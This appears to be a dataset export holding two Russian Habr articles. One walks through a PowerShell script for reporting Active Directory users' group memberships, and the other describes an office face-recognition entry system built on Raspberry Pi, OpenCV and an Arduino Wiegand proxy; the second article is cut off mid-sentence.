text
stringlengths
20
1.01M
url
stringlengths
14
1.25k
dump
stringlengths
9
15
lang
stringclasses
4 values
source
stringclasses
4 values
# Строим отчет о членстве пользователей в группах AD: 4 проблемы в написании Powershell-скрипта ![](https://habrastorage.org/r/w1560/storage2/1a4/bfb/7e6/1a4bfb7e6ada9924c5df1b9d5138a09d.png) Билл Стюарт, scripting guru, в своей [статье на WindowsITPro](http://www.windowsitpro.com/content1/topic/auditing-active-directory-users-groups-141463/catpath/scripting/page/1) описывает те проблемы, с которыми ему пришлось столкнуться при написании Powershell-скрипта, который бы выводил членство пользователей в группах Active Directory. Пришлось проделать 4 усовершенствования, чтобы все заработало как надо. Узнать, как Билл реализовал таки вывод членства в группах, и скачать сам Powershell-скрипт Вы можете под катом. **Ссылка на окончательный вариант скрипта.** [www.windowsitpro.com/content/content/141463/141463.zip](http://www.windowsitpro.com/content/content/141463/141463.zip) Я сбился со счету, сколько раз я уже встречал на форумах вопрос: “Кто-нибудь знает, как получить информацию обо всех пользователях и их членстве в группах в домене AD?”. Аудиторы и консультанты по информационной безопасности также задают подобный вопрос, когда осуществляют оценку инфраструктуры (среды) Active Directory в организации. Так как этот вопрос довольно насущный, я решил написать PowerShell скрипт, который бы позволял упростить эту задачу. Сначала я думал, что написать подобный скрипт – пара пустяков, но на моем пути встретились 4 препятствия, которые усложнили мою работу. Я опишу эти проблемы, чуть позже, но сначала мне хотелось бы рассказать об основах использования Microsoft.NET в Powershell при поиске по AD. #### Использование .NET для поиска по AD Используя .NET для поиска по AD, Вы можете использовать type accelerator в PowerShell для поиска объектов. (Type accelerator – сокращенное имя для .NET класса). Например, введите следующую команду, чтобы вывести список всех пользователей в данном домене: ``` PS C:\> $searcher = "(&(objectCategory=user)(objectClass=user))" PS C:\> $searcher.FindAll() ``` [ ADSISearcher] – это type accelerator для объекта .NET System.DirectoryServices.DirectorySearcher. Строка, идущая после данного type accelerator, задает свойства **SearchFilter** для данного объекта, чтобы найти все объекты пользователей, и метод **FindAll** начинает поиск. На выходе мы получаем список объектов **System.DirectoryServices.SearchResult**. Затем мы хотим определить, в какой группе состоит пользователь. Чтобы узнать, мы можем использовать коллекцию свойств (Properties collection) из объекта **SearchResult** и извлечь такой атрибут объекта как memberof. Используя переменную $searcher из предыдущего примера, мы можем использовать метод **FindOne** (вместо **FindAll**), чтобы извлечь один результат и вывести членство пользователя в группах: ``` PS C:\> $result = $searcher.FindOne() PS C:\> $result.Properties["memberof"] | sort-object ``` Первая команда находит первого пользователя, который удовлетворяет поисковому фильтру, а вторая команда выводит список в групп, в которых пользователь состоит. Однако если внимательно посмотреть на этот список, то можно заметить отсутствие важной детали: основная группа (primary group) пользователя не включена в атрибут **memberof**. Хотелось бы получить полный список групп (включая основную группу), что приводит нас к первой проблеме. #### Проблема #1: Как найти основную группу пользователя Есть обходной путь для исключения основной группы из атрибута memberof. Он описан в этой статье [support.microsoft.com/kb/321360](http://support.microsoft.com/kb/321360) Совершаем следующие действия: 1. Связываемся (connect to) с объектом пользователя, используя WinNT provider (вместо LDAP provider). 2. Извлекайте атрибут пользователя primaryGroupID . 3. Извлекайте имена групп пользователя, используя WinNT provider, который включает основную группу. 4. Осуществляйте поиск в AD этих групп, используях их **sAMAccountName** атрибуты. 5. Находим группу, в которой атрибут primaryGroupToken совпадает с атрибутом пользователя **primaryGroupID**. Проблема с этим “обходным путем” заключается в том, что он требует, чтобы скрипт WinNT provider для подключения к объекту пользователя. То есть, необходимо, чтобы скрипт перевел различающееся имя пользователя (например, CN=Ken Myer,OU=Marketing,DC=fabrikam,DC=com) в формат, который WinNT provider может использовать (например, WinNT://FABRIKAM/kenmyer,User). #### Проблема #2: Перевод из одного формата имени в другой Объект **NameTranslate** является COM (ActiveX) объектом, который использует интерфейс **IADsNameTranslate**, осуществляющий перевод имен объектов AD в переменные (чередующиеся, alternate) форматы. Вы можете использовать объект **NameTranslate**, создав объект и затем вызвав его Init метод для инициализации. Например, список 1 показывает код VBScript скрипта, которые создает и инициализирует **NameTranslate**. Список 1: Создание и инициализация объекта NameTranslate в VBScript ``` Const ADS_NAME_INITTYPE_GC = 3 Dim NameTranslate Set NameTranslate = CreateObject("NameTranslate") NameTranslate.Init ADS_NAME_INITTYPE_GC, vbNull ``` Однако объект **NameTranslate** не работает так, как ожидалось в PowerShell, что показано на рисунке 1. ![](https://habrastorage.org/r/w780q1/storage2/c74/f17/ee1/c74f17ee1dfc34de6e976c2b4e94e25c.jpg) Рис 1: Неожиданное поведения объекта NameTranslate в PowerShell Проблема заключается в том, что в объекте **NameTranslate** отсутствует библиотека типов, которые .NET (а следовательно и PowerShell) использует для предоставление простого доступа к COM-объектам. Но к счастью и эту проблему можно обойти: метод .NET **InvokeMember** позволяет PowerShell получить или установить свойства или вызвать метод из COM-объекта, который отсутствует в библиотеке типов. Список 2 показывает Powershell эквивалент кода скрипта VBScript, приведенного в таблице 1 Список 2: Создание и инициализация объекта NameTranslate в PowerShell ``` $ADS_NAME_INITTYPE_GC = 3 $NameTranslate = new-object -comobject NameTranslate [Void] $NameTranslate.GetType().InvokeMember("Init", "InvokeMethod", $NULL, $NameTranslate, ($ADS_NAME_INITTYPE_GC, $NULL)) ``` Я хотел, чтобы скрипт решал другую проблему, связанную с именем. Атрибут **memberof** для пользователя AD содержит список различающихся имен, в которых пользователь состоит, но вместо этого я хотел получить атрибут samaccountname для каждой группы. Скрипт использует объект **NameTranslate**, чтобы справиться с этой проблемой. #### Проблема #3: Что делать со специальными символами Документация Microsoft относительно различающихся имен упоминает, что отдельные символы должны быть опущены (например, с префиксом “\”) для того, чтобы быть правильным образом интерпретированы (в [этой статье](http://msdn.microsoft.com/en-us/library/aa366101.aspx) написано подробнее). К счастью, COM-объект Pathname дает такую возможность. Скрипт использует объект **Pathname**, чтобы пропустить те различающиеся имена, которые содержат специальные символы. Объект Pathname также требует .NET метод **InvokeMember** потому что, также как и объект **NameTranslate**, у этого объекта отсутствует библиотека типов. #### Проблема #4: Повышаем производительность Если оглянуться на Проблему #1 (Как найти основную группу пользователя), можно заметить, что обходное решение требует поиск групп пользователя. Проделав эту процедуру для нескольких учетных записей, Вы поймете, насколько она неоптимальна. Извлечение атрибута **samaccountname** для каждой группы в атрибуте **memberof**, о котором я упомянул, рассматривая Проблему #2 (Перевод из одного формата имени в другой) также неоптимально и отнимает много времени. Чтобы решить эту проблему скрипт использует две глобальные хеш-таблицы (global hash tables), которые производят хеширование результатов для повышения произодительности. #### Get-UsersAndGroups.ps1 [Get-UsersAndGroups.ps1](http://www.windowsitpro.com/content/content/141463/141463.zip) — это готовый Powershell-скрипт, который выводит список пользователей и их членства в группах. Синтаксис командной строки скрипта следующий: ``` Get-UsersAndGroups [[-SearchLocation] ] [-SearchScope ] ``` Параметр **-SearchLocation** представляет собой одно или несколько различающихся имен для учетных записей пользователей. Потому что различающееся имя содержит запятые (,), их необходимо помещать в скобки (одинарные или двойные) каждое различающееся имя, чтобы PowerShell не интерпретировал их как массив. Имя параметра **-SearchLocation** опционально. Скрипт также принимает конвейерный ввод (pipeline input); каждое значение из конвейера должно являться различающимся именем, которое необходимо искать. Значение **-SearchScope** обозначает возможный масштаб поиска по AD. Это значение должно быть одним из трех: *Base* – Поиск ограничивается базовым объектом, не используется; *OneLevel* – поиск ближайших дочерних объектов базового объекта и *Subtree* – поиск по подветке. Если это значение не уточнено, то по умолчанию используется Subtree. Используйте **-SearchScope OneLevel**, если Вы хотите определенное подразделение (OU), но ни одна из OU не вложена в него. Скрипт выводит объекты, которые содержат свойства, перечисленные в таблице 1. ![](https://habrastorage.org/r/w780q1/storage2/06e/314/4d2/06e3144d243ef049b5cd8aa55614f256.jpg) #### Преодолевая 4 проблемы Скрипт решает вышеописанные проблемы: * Проблема #1: Как найти основную группу пользователя: Функция **get-primarygroupname** возвращает имя основной группы пользователя. * Проблема #2: Перевод из одного формата имени в другой: Скрипт использует COM-объект **NameTranslate**, чтобы осуществить перевод из одного формата имени в другое. * Проблема #3: Что делать со специальными символами: Скрипт использует функцию **get-escaped**, которая использует объект **Pathname**, чтобы возвратить различающиеся имена с вставленными пропущенными символами (там, где это необходимо). * Проблема #4: Повышаем производительность: Скрипт использует хэш-таблицы **$PrimaryGroups** и **$Groups**. Ключи в хеш-таблице **$PrimaryGroups** являютяются идентификаторами основной группы и их значения – атрибутами **samaccountname** основной группы. #### Упрощаем аудит групп и пользователей Написание скрипта Get-UsersAndGroups.ps1 оказалось не таким уж и простым, как мне казалось с первого взгляда, но проще сделать нельзя. Простейшее приложение скрипта –следующая команда: ``` PS C:\> Get-UsersAndGroups | Export-CSV Report.csv -NoTypeInformation ``` Она создает .csv файл, который содержит полный список пользователей и групп для данного домена. Имя в своем арсенале такой скрипт, мы можете быстро и без проблем создать отчет по группам и пользователям. **Еще раз продублируем ссылку на окончательный вариант скрипта.** [www.windowsitpro.com/content/content/141463/141463.zip](http://www.windowsitpro.com/content/content/141463/141463.zip) **Сам скрипт:** ``` # Get-UsersAndGroups.ps1 # Written by Bill Stewart (bstewart@iname.com) #requires -version 2 <# .SYNOPSIS Retreves users, and group membership for each user, from Active Directory. .DESCRIPTION Retreves users, and group membership for each user, from Active Directory. Note that each user's primary group is included in the output, and caching is used to improve performance. .PARAMETER SearchLocation Distinnguished name (DN) of where to begin searching for user accounts; e.g. "OU=Information Technology,DC=fabrikam,DC=com". If you omit this parameter, the default is the current domain (e.g., "DC=fabrikam,DC=com"). .PARAMETER SearchScope Specifies the scope for the Active Directory search. Must be one of the following values: Base (Limit the search to the base object, not used), OneLevel (Searches the immediate child objects of the base object), or Subtree (Searches the whole subtree, including the base object and all its child objects). The default value is Subtree. To search only a location but not its children, specify OneLevel. .OUTPUTS PSObjects containing the following properties: DN The user's distinguished name CN The user's common name UserName The user's logon name Disabled True if the user is disabled; false otherwise Group The groups the user is a member of (one object per group) #> [CmdletBinding()] param( [parameter(Position=0,ValueFromPipeline=$TRUE)] [String[]] $SearchLocation="", [String][ValidateSet("Base","OneLevel","Subtree")] $SearchScope="Subtree" ) begin { $ADS_NAME_INITTYPE_GC = 3 $ADS_SETTYPE_DN = 4 $ADS_NAME_TYPE_1779 = 1 $ADS_NAME_TYPE_NT4 = 3 $ADS_UF_ACCOUNTDISABLE = 2 # Assume pipeline input if SearchLocation is unbound and doesn't exist. $PIPELINEINPUT = (-not $PSBOUNDPARAMETERS.ContainsKey("SearchLocation")) -and (-not $SearchLocation) # If -SearchLocation is a single-element array containing an emty string # (i.e., -SearchLocation not specified and no pipeline), then populate with # distinguished name of current domain. In this case, input is not coming # from the pipeline. if (($SearchLocation.Count -eq 1) -and ($SearchLocation[0] -eq "")) { try { $SearchLocation[0] = ([ADSI] "").distinguishedname[0] } catch [System.Management.Automation.RuntimeException] { throw "Unable to retrieve the distinguished name for the current domain." } $PIPELINEINPUT = $FALSE } # These hash tables cache primary groups and group names for performance. $PrimaryGroups = @{} $Groups = @{} # Create and initialize a NameTranslate object. If it fails, throw an error. $NameTranslate = new-object -comobject "NameTranslate" try { [Void] $NameTranslate.GetType().InvokeMember("Init", "InvokeMethod", $NULL, $NameTranslate, ($ADS_NAME_INITTYPE_GC, $NULL)) } catch [System.Management.Automation.MethodInvocationException] { throw $_ } # Create a Pathname object. $Pathname = new-object -comobject "Pathname" # Returns the last two elements of the DN using the Pathname object. function get-rootname([String] $dn) { [Void] $Pathname.GetType().InvokeMember("Set", "InvokeMethod", $NULL, $Pathname, ($dn, $ADS_SETTYPE_DN)) $numElements = $Pathname.GetType().InvokeMember("GetNumElements", "InvokeMethod", $NULL, $Pathname, $NULL) $rootName = "" ($numElements - 2)..($numElements - 1) | foreach-object { $element = $Pathname.GetType().InvokeMember("GetElement", "InvokeMethod", $NULL, $Pathname, $_) if ($rootName -eq "") { $rootName = $element } else { $rootName += ",$element" } } $rootName } # Returns an "escaped" copy of the specified DN using the Pathname object. function get-escaped([String] $dn) { [Void] $Pathname.GetType().InvokeMember("Set", "InvokeMethod", $NULL, $Pathname, ($dn, $ADS_SETTYPE_DN)) $numElements = $Pathname.GetType().InvokeMember("GetNumElements", "InvokeMethod", $NULL, $Pathname, $NULL) $escapedDN = "" for ($n = 0; $n -lt $numElements; $n++) { $element = $Pathname.GetType().InvokeMember("GetElement", "InvokeMethod", $NULL, $Pathname, $n) $escapedElement = $Pathname.GetType().InvokeMember("GetEscapedElement", "InvokeMethod", $NULL, $Pathname, (0, $element)) if ($escapedDN -eq "") { $escapedDN = $escapedElement } else { $escapedDN += ",$escapedElement" } } $escapedDN } # Return the primary group name for a user. Algorithm taken from # http://support.microsoft.com/kb/321360 function get-primarygroupname([String] $dn) { # Pass DN of user to NameTranslate object. [Void] $NameTranslate.GetType().InvokeMember("Set", "InvokeMethod", $NULL, $NameTranslate, ($ADS_NAME_TYPE_1779, $dn)) # Get NT4-style name of user from NameTranslate object. $nt4Name = $NameTranslate.GetType().InvokeMember("Get", "InvokeMethod", $NULL, $NameTranslate, $ADS_NAME_TYPE_NT4) # Bind to user using ADSI's WinNT provider and get primary group ID. $user = [ADSI] "WinNT://$($nt4Name.Replace('\', '/')),User" $primaryGroupID = $user.primaryGroupID[0] # Retrieve user's groups (primary group is included using WinNT). $groupNames = $user.Groups() | foreach-object { $_.GetType().InvokeMember("Name", "GetProperty", $NULL, $_, $NULL) } # Query string is sAMAccountName attribute for each group. $queryFilter = "(|" $groupNames | foreach-object { $queryFilter += "(sAMAccountName=$($_))" } $queryFilter += ")" # Build a DirectorySearcher object. $searchRootDN = get-escaped (get-rootname $dn) $searcher = [ADSISearcher] $queryFilter $searcher.SearchRoot = [ADSI] "LDAP://$searchRootDN" $searcher.PageSize = 128 $searcher.SearchScope = "Subtree" [Void] $searcher.PropertiesToLoad.Add("samaccountname") [Void] $searcher.PropertiesToLoad.Add("primarygrouptoken") # Find the group whose primaryGroupToken attribute matches user's # primaryGroupID attribute. foreach ($searchResult in $searcher.FindAll()) { $properties = $searchResult.Properties if ($properties["primarygrouptoken"][0] -eq $primaryGroupID) { $groupName = $properties["samaccountname"][0] return $groupName } } } # Return a DN's sAMAccount name based on the distinguished name. function get-samaccountname([String] $dn) { # Pass DN of group to NameTranslate object. [Void] $NameTranslate.GetType().InvokeMember("Set", "InvokeMethod", $NULL, $NameTranslate, ($ADS_NAME_TYPE_1779, $dn)) # Return the NT4-style name of the group without the domain name. $nt4Name = $NameTranslate.GetType().InvokeMember("Get", "InvokeMethod", $NULL, $NameTranslate, $ADS_NAME_TYPE_NT4) $nt4Name.Substring($nt4Name.IndexOf("\") + 1) } function get-usersandgroups2($location) { # Finds user objects. $searcher = [ADSISearcher] "(&(objectCategory=User)(objectClass=User))" $searcher.SearchRoot = [ADSI] "LDAP://$(get-escaped $location)" # Setting the PageSize property prevents limiting of search results. $searcher.PageSize = 128 $searcher.SearchScope = $SearchScope # Specify which attributes to retrieve ([Void] prevents output). [Void] $searcher.PropertiesToLoad.Add("distinguishedname") [Void] $searcher.PropertiesToLoad.Add("cn") [Void] $searcher.PropertiesToLoad.Add("samaccountname") [Void] $searcher.PropertiesToLoad.Add("useraccountcontrol") [Void] $searcher.PropertiesToLoad.Add("primarygroupid") [Void] $searcher.PropertiesToLoad.Add("memberof") # Sort results by CN attribute. $searcher.Sort = new-object System.DirectoryServices.SortOption $searcher.Sort.PropertyName = "cn" foreach ($searchResult in $searcher.FindAll()) { $properties = $searchResult.Properties $dn = $properties["distinguishedname"][0] write-progress "Get-UsersAndGroups" "Searching $location" -currentoperation $dn $cn = $properties["cn"][0] $userName = $properties["samaccountname"][0] $disabled = ($properties["useraccountcontrol"][0] -band $ADS_UF_ACCOUNTDISABLE) -ne 0 # Create an ArrayList containing user's group memberships. $memberOf = new-object System.Collections.ArrayList $primaryGroupID = $properties["primarygroupid"][0] # If primary group is already cached, add the name to the array; # otherwise, find out the primary group name and cache it. if ($PrimaryGroups.ContainsKey($primaryGroupID)) { [Void] $memberOf.Add($PrimaryGroups[$primaryGroupID]) } else { $primaryGroupName = get-primarygroupname $dn $PrimaryGroups.Add($primaryGroupID, $primaryGroupName) [Void] $memberOf.Add($primaryGroupName) } # If the user's memberOf attribute is defined, find the group names. if ($properties["memberof"]) { foreach ($groupDN in $properties["memberof"]) { # If the group name is aleady cached, add it to the array; # otherwise, find out the group name and cache it. if ($Groups.ContainsKey($groupDN)) { [Void] $memberOf.Add($Groups[$groupDN]) } else { $groupName = get-samaccountname $groupDN $Groups.Add($groupDN, $groupName) [Void] $memberOf.Add($groupName) } } } # Sort the ArrayList and output one object per group. $memberOf.Sort() foreach ($groupName in $memberOf) { $output = new-object PSObject $output | add-member NoteProperty "DN" $dn $output | add-member NoteProperty "CN" $cn $output | add-member NoteProperty "UserName" $userName $output | add-member NoteProperty "Disabled" $disabled $output | add-member NoteProperty "Group" $groupName $output } } } } process { if ($PIPELINEINPUT) { get-usersandgroups2 $_ } else { $SearchLocation | foreach-object { get-usersandgroups2 $_ } } } ``` [via WindowsITPro](http://www.windowsitpro.com/content1/topic/auditing-active-directory-users-groups-141463/catpath/scripting/page/1) *P.S. Для получения разнообразных отчетов по структуре и изменениям AD Вы можете воспользоваться **NetWrix AD Change Reporter**. Программа позволяет Вам быть в курсе изменений AD и при этом не требует от Вас утомительной работы с логами или ручной автоматизации посредством скриптов. Узнать больше о программе Вы сможете [на сайте NetWrix](http://www.netwrix.com/tracking/track.html?campaign=NWX_HABR_ADPOWERSHELL_2012_08&url=ru/landing.html?product=adcr)*
https://habr.com/ru/post/148472/
null
ru
null
# Компьютерное зрение как альтернатива офисным пропускам ![](https://habrastorage.org/r/w780q1/webt/un/xu/h1/unxuh13fdsjq-aryuwovmchvjxw.jpeg) Сегодня я расскажу, как мы делали в офисе пропускную систему на основе сервиса распознавания лиц [Vision](https://biz.mail.ru/vision/). Сначала небольшая предыстория. Как в любом почтовом сервисе, мы создали систему антиспама. Такие системы сейчас делаются на основе машинного обучения, у нас им занимается мощная команда. А где машинное обучение, там и компьютерное зрение. Поэтому сервис Vision возник вполне органично и естественно. Параллельно с этим несколько лет назад мы запустили Облако — надёжное хранилище файлов с геораспределением по дата-центрам, которым могут пользоваться как частные лица, так и компании. Со временем у нас появилось «Облако для бизнеса», которое не только хранит файлы, но и позволяет заказывать виртуальные машины. Постепенно это превратилось в MCS — Mail.ru Cloud Solutions, куда в качестве одного из сервисов очень органично вписался Vision. Облако ====== Наши нейросети способны распознавать далеко не только лица, но и разные [предметы, объекты и сцены](https://habr.com/ru/company/mailru/blog/449120/), в том числе [достопримечательности](https://habr.com/ru/company/mailru/blog/451542/). Сейчас они могут распознавать около 10 тыс. категорий, и машинное зрение иной раз работает лучше человеческого. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/399/b8d/be4/399b8dbe4c0ba7bb25dcc7701b9efc34.jpg) Это моя дочь в 2012-м, в 2015-м и 2018-м. Если бы я не знал ее лично, то, наверное, не сразу понял, что это один и тот же человек. А нейронная сеть смогла сопоставить и понять. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/543/a67/56d/543a6756d6caa113dd04657c45f8b550.jpg) Здесь девочка отвернулась и прищурилась, а мальчик вообще в фуражке с тенью на половину лица. Но при этом нейронная сеть точно их распознала, даже несмотря на такие сложные условия. Естественно, что технология, которая развивается внутри компании, не могла не найти поддержку во внутренних сервисах. Наш интранет ============ Наш интранет называется sys. Это своего рода социальная сеть (у нас же их мало). В ней сотрудники выкладывают фотографии с разных мероприятий. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/e2c/f0b/a5b/e2cf0ba5b544efc7d8d52f1c2c7ef640.jpg) Когда с мероприятия выкладывается несколько сотен фотографий, то найти себя там достаточно сложно. Поэтому у нас к этим альбомам подключено машинное зрение, которое прямо в интранете, в едином месте показывает фотографии, на которых я изображён. Вот тут система меня увидела на одном из летних корпоративов. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/b47/69c/5b9/b4769c5b9c349f443e9968574d5417d3.jpg) Нейросеть распознала меня даже в полумраке в профиль, и на фотографии ещё множество людей. Стойки для конференций ====================== Позднее мы сделали стойки для конференций. Я писал софт для iPad, который установлен внутри стойки, но вообще я iOS-разработчик и к компьютерному зрению никакого отношения не имею, просто по-дружески помогаю. ![](https://habrastorage.org/r/w1560/webt/p5/01/ul/p501uly37m546fdxxrwwtuegigo.png) В чем суть этой стойки? В течение всего мероприятия — митапа, конференции, корпоратива, да хоть дня рождения — вас фотографирует фотограф. Он время от времени сбрасывает накопившиеся снимки в Облако. Вы в любой момент можете подойти к стойке, сфотографироваться и нажать на кнопку «Найти меня». И стойка либо сразу выведет все фотографии, на которых вы запечатлены, либо скажет, что пока ничего не найдено, если система еще не успела проиндексировать снимки, и предложит ввести e-mail. И после мероприятия вам на почту придёт ссылка на папку в Облаке со всеми фотографиями, на которых вы есть. Это одно из применений сервиса Vision. Пропускная система ================== Естественно, такие возможности по распознаванию лиц захотелось использовать не только для поисков своей физиономии на снимках с корпоративов, но и для чего-то более практичного. Например, для автоматической пропускной системы. Прикладывать пропуск при каждом входе на свой этаж не очень удобно: пропуск часто забываешь, а девушкам летом в лёгкой одежде пропуск даже некуда крепить. Поэтому мы решили поэкспериментировать. Для этого у нас есть все условия: не нужно ни у кого просить разрешения, очень отзывчивый административный отдел, который со вздохом говорит: «Ладно. Прикрепляйте свои камеры. Только не на дверь. Двери относятся к пожарной безопасности». Мы такие: «Ну ладно. Мы сбоку прикрепим». А ещё у нас терпеливые коллеги, они от нас натерпелись. Архитектура =========== На первый взгляд, архитектура пропускной системы видится очень простой: камера снимает, отправляет в Vision, а Vision открывает дверь. Но когда мы начали расписывать с коллегами, как же это на самом деле сделать, то получилась вот такая схема: ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/7be/683/61c/7be68361c530fdb7f8da32500b7a5c4c.jpg) Блок справа мы называем «камерой» — это модуль, который висит на двери. Он состоит из трёх частей. Raspberry Pi принимает видеосигнал с USB-камеры, кодирует с помощью FFmpeg и отправляет. Мы протестировали несколько IP-камер разумного ценового диапазона, и у всех оказалась ощутимая задержка примерно в 0,5 с. А поскольку у нас есть задержки и на других этапах, то когда человек подходит, смотрит в камеру и в течение нескольких секунд ничего не происходит, ему уже хочется приложить пропуск. Поэтому мы сокращали задержки, где только возможно, и Raspberry Pi c USB-камерой оказалась быстрее, чем многие коммерческие IP-камеры. Также к Raspberry подключена маленькая Arduino с разноцветным светодиодом и пищалкой. Светодиод по умолчанию светится красным. Когда человек подходит и распознан, загорается зеленый. Итак, Raspberry Pi передаёт видеопоток, который по проводному Ethernet попадает в серверную. У нас на каждом этаже есть серверная, в которой стоят свичи, коммутирующие кабели к столам сотрудников, и штатная СКУД — система контроля и управления доступом. Мы поставили в серверной ещё одну Raspberry Pi, которая получает видеопоток в реальном времени и прогоняет его через OpenCV. Зачем нам еще OpenCV? Нам нужно определить, есть ли на картинке лицо. Нейронная сеть, которая определяет человека на фотографии, работает чуть-чуть дольше, и постоянно скармливать ей поток видеоданных слишком затратно. Поэтому мы через OpenCV определяем наличие лица, и если оно появилось, тогда отправляем в Vision. Сервис либо отвечает, что не нашел этого сотрудника, либо отправляет идентификатор сотрудника в базе данных HR. С этим идентификатором сотрудника мы идем в интранет, который завязан со СКУД, и он возвращает нам идентификатор пропуска. Дальше этот идентификатор пропуска мы закидываем в Arduino, которая передаёт его в СКУД. Для системы контроля доступа это равносильно тому, что человек приложил пропуск. То есть мы никак не изменяем СКУД, она по-прежнему журналирует вход и выход сотрудников. Как мы интегрировали свою систему со СКУД? У нас в офисе применяются устройства Bolid C2000-2. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/351/01a/0de/35101a0de56c7879ac661be35a5060b8.jpg) Это отечественная система контроля доступа. К этим приборам, скорее всего, можно подключаться через 485-й интерфейс, но мы подключились через протокол Wiegand. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/e5d/36e/70b/e5d36e70b78094589c3c63df5f6ee934.jpg) К считывателю пропусков, установленному рядом с дверью, мы подключили Arduino, который выступает в роли прокси. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/9bc/26d/700/9bc26d7009e2dae347db5223fd50dfa8.jpg) На фото показано подключение питания и двух линий данных от считывателя пропусков. Колодка используется для более удобного подключения. Arduino получает номер пропуска либо от считывателя, либо от Raspberry Pi по USB, и отдаёт его в СКУД. СКУД даже не знает, откуда получен номер пропуска. Wiegand ======= Это стандартный протокол для СКУД, он поддерживается большинством считывателей. Протокол очень простой: две линии данных, одна линия нулей и одна линия единиц. Как только вы подключаете к земле нулевую линию, считывающее устройство понимает, что передан ноль, тоже самое с единицами. То есть у протокола нет стандартизированных таймингов, и номер пропуска легко считывать через прерывание на Arduino, легко представлять в виде последовательности данных. А поскольку для записи нужен какой-то тайминг, я ориентировался на эти значения: ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/6aa/d03/ee3/6aad03ee3eb8aa49fab36710af32b342.jpg) Для Arduino уже есть готовая библиотека. Она умеет считывать разные форматы Wiegand, но этим её возможности ограничиваются. А мне нужно было еще передавать. Поэтому я написал свою библиотеку, которая работает только с форматом Wiegand-26. 26 — это количество бит: 3 байта номера пропуска и 2 бита чётности. Причем во всех документациях и статьях написано, что, вероятнее всего, ваш современный контроллер будет игнорировать биты чётности, поэтому я ленюсь и их не считаю, а всегда отправляю ноль. СКУД это нормально воспринимает. У нас была другая проблема: если кто-то сначала показался перед камерой, а затем, не дождавшись срабатывания, приложил пропуск, то возникала ситуация гонки: одновременно приходил номер пропуска от считывателя и от распознавания. СКУД с этим не справлялась и не пускала человека. Поэтому пришлось добавить в библиотеку кольцевой буфер на 4 кода. Откуда бы коды ни пришли, они помещаются в буфер, а затем с таймаутом в 0,5 с передаются в СКУД. С тех пор коллеги перестали жаловаться на то, что их не пускают. Тестовый стенд ============== ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/158/b78/43f/158b7843fe5152a47f530123a3342908.jpg) Первый прототип был собран из чего попало. На какой-то нелепой стойке висела Raspberry Pi в коробке, а сверху на двухсторонний скотч приклеена камера. Сбоку на стяжках висит Arduino. В общем, всё, как мы любим, очень DIYненько. Конечно, в таком виде оставлять было нельзя, нужно было оформить красиво. Мы переговорили с несколькими подрядчиками, они нам пообещали заказать образцы в Китае, но потом все оговоренные сроки прошли, а нам так никто ничего и не предложил. У кастомными продуктов есть одна проблема — все решения узкоспециализированные, они делались бы специально под нас. Во-первых, мы становимся зависимыми от поставщика. Во-вторых, получается уникальная схемотехника с малым тиражом, а значит, стоимость одной штуки будет высокой. В-третьих, достаточно большой срок изготовления, и если какой-то экземпляр выйдет из строя, мы не сможем быстро купить в магазине замену, придётся ждать изготовления следующего тиража, а если сразу делать с запасом, то оставшиеся экземпляры будут пылиться на складе. После того, как все потенциальные партнёры нас подвели, я пришёл к коллеге из Vision и говорю: «Володя, давай я тебе на 3D-принтере напечатаю корпус, чтобы это красиво выглядело». Он вздохнул и сказал: «Ну давай. Что делать?» Камера V 1 ========== ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/6f1/4f0/c61/6f14f0c6132add7dcd3eb753d95e822e.jpg) Я во Fusion нарисовал вот такое чудовище Франкенштейна. В углу должна была размещаться Raspberry Pi со входом под Ethernet-кабель. Сбоку вход под питание. «Вторым этажом» ставилась камера. Получилась крупная конструкция, и я её даже напечатал тонким слоем, чтобы не тратить много пластика. Выглядело ужасно, и вешать это было ещё более стыдно. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/d5b/8ba/682/d5b8ba6826307a63d09473ef779d646c.jpg) К тому же коллега прислал мне вот такой референс, мол, нам бы такое. Я ответил, что не смогу так сделать, но решил спроектировать другой корпус. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/9f6/668/e5e/9f6668e5e503946ad94e4a75319d4816.jpg) Новый корпус был диаметром 11 см, меньше компакт-диска. Размещение начинки тоже двухслойное. Ещё напечатав первую версию, я понял, что нет никакого смысла ставить USB-камеру целиком в родном корпусе. Разобрал её аккуратно, и оказалось, что у нее есть 4 посадочных отверстия на лицевой панели. Эту панель с камерой я объединил в общую сборку с пищалкой и светодиодом. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/031/180/4a4/0311804a49018e3b8f7f84b86caffc22.jpg) Сначала мы попробовали сгенерировать писк на Raspberry Pi через gpio. Получилось крайне плохо. Поэтому решили вынести эту функцию отдельно от Raspberry Pi, подключив маленькую ардуино (на самом деле Iskra mini), к которой были припаяны пищалка и светодиод, через TTL прямо к колодке. Вот так это выглядело в бою: ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/93b/9fe/6ec/93b9fe6ecea2fff3b39c6c60a83240a9.jpg) Мы повесили устройство на этаже. В таком виде оно прожило достаточно долго. Пищало, красиво светилось, открывало дверь, правда, не каждый раз. Коллеги, правда, жаловались, что светодиод слишком яркий. Пришлось его ослабить раза в 4. Камера V 2 ========== Затем сделали такой вариант: ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/b73/9b4/caf/b739b4caf65d413e545e9f1f1a3bd784.jpg) Он был навеян дизайном хаба Xiaomi, со светящимся кольцом по периметру. Очень красиво выглядит. Логотип Vision сделан отдельными деталями, напечатанными пластиками разного цвета. Вот модель: ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/1ea/e91/536/1eae91536fc7fb62bf7b9dc8c4ee24d5.jpg) ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/d70/1ab/64d/d701ab64dc264959923d6c67ce011bd8.jpg) В этот раз я убрал пищалку на заднюю стенку, вмонтировал светодиод в прозрачное колечко по периметру, напечатанное из прозрачного PLA. Декор почти сразу провалился внутрь, потому что изначально был просто вставлен на трении, и пришлось сажать его на клей. Проблемы с камерами =================== У нас была 